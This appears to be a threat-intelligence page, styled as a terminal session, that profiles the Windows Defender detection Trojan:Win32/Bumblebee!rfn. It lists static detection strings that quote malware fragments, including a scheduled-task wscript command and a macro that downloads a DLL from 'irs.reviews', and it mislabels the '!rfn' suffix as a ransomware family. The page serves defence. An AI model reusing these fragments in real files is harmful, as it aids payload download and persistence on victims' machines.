user@threatcheck.sh ~ threat-analysis
bash
$ analyze-threat Trojan:Win32/Bumblebee!rfn
Trojan:Win32/Bumblebee!rfn - Windows Defender threat signature analysis

Trojan:Win32/Bumblebee!rfn - Windows Defender Threat Analysis

$ cat analysis.txt
=== THREAT ANALYSIS REPORT ===
Threat Name: Trojan:Win32/Bumblebee!rfn
Classification:
Type:Trojan
Platform:Win32
Family:Bumblebee
Detection Type:Concrete
Known malware family with identified signatures
Suffix:!rfn
Specific ransomware family name
Confidence:Very High
False-Positive Risk:Low

Concrete signature match: Trojan - Appears legitimate but performs malicious actions for 32-bit Windows platform, family Bumblebee

Summary:

Trojan:Win32/Bumblebee!rfn is a critical malware loader that establishes persistence by creating scheduled tasks to run every few minutes and attempts to download and execute additional malicious payloads (e.g., DLLs) from suspicious URLs. It often initiates via malicious document macros and utilizes `wscript` and potentially process hooking for execution and evasion.

Severity:
Critical
VDM Static Detection:
Relevant strings associated with this threat:
 - pvunjSjVYP (PEHSTR_EXT)
 - chtasks.exe /F /create /sc minute /mo 4 /TN " (PEHSTR_EXT)
 - /ST 04:00 /TR "wscript /nologo  (PEHSTR_EXT)
 - \\.\pipe\boost_process_auto_pipe (PEHSTR_EXT)
 - .SpecialFolders("MyDocuments") & "\name.dll" (MACROHSTR_EXT)
 - .Open "GET", "https://irs.reviews/KFOJRIOHNV(R)(A#IFK)_FIO#)_FK_D/0411r_cr4.dll", bGetAsAsync, "userid", "pass" (MACROHSTR_EXT)
 - objshell"b10=b10&".run""" (MACROHSTR_EXT)
 - =createobject("wscript.shell").expandenvironmentstrings("%temp%")tempfilename (MACROHSTR_EXT)
 - .customdocumentproperties("specialprops3").valuets.writelineb4ts.writelineb10&b1&""""""&b2&""""""",0,-1" (MACROHSTR_EXT)
 - subdocument_close()module1.checkerendsub (MACROHSTR_EXT)
 - um7o\URo (SNID)
 - B#JJs (SNID)
 - I_I^I]I\I[IZIYIXH_H^H]H[HZHYHXHPHQHRHSHUHVHWIPIQIRISITIUIVIW (PEHSTR_EXT)
 - !#HSTR:StringCodeForMshta.A!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForHooking.C!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForHooking.D!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForHooking.L!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForHooking.O!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForRegsvr32.A!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForRundll32.A!pli (PEHSTR_EXT)
 - rundll32 (PEHSTR_EXT)
 - !#HSTR:StringCodeForBITSJobs.A!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForPowerShell.G!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForScheduledTask.A!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForDataEncoding.D!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForHooking.J!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForHooking.K!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForRemoteFileCopy.B!pli (PEHSTR_EXT)
 - !#HSTR:ExecutionGuardrails (PEHSTR_EXT)
 - !#HSTR:StringCodeForFileDeletion.A!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForHooking.M!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForNetshHelperDLL.A!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForRemoteServices.A!pli (PEHSTR_EXT)
Known malware which is associated with this threat:
Filename: 12a6ed8bc832cd5aca2135bdfdd7af1064370b5c121e14342b42025df706b9f1
12a6ed8bc832cd5aca2135bdfdd7af1064370b5c121e14342b42025df706b9f1
15/12/2025
→VirusTotal↓Download Sample
Remediation Steps:
Immediately isolate the infected system to prevent further spread. Ensure Windows Defender has fully remediated the detected threat and perform a full system scan with updated antivirus. Manually remove any suspicious scheduled tasks created by the malware and block all associated malicious URLs (e.g., 'irs.reviews') at the network perimeter. Consider a forensic investigation and restoration from a clean backup due to the loader's nature.
=== END REPORT ===
$ reanalyze-threat
This analysis was last updated on 15/12/2025. Do you want to analyze it again?
$ ls available-commands/
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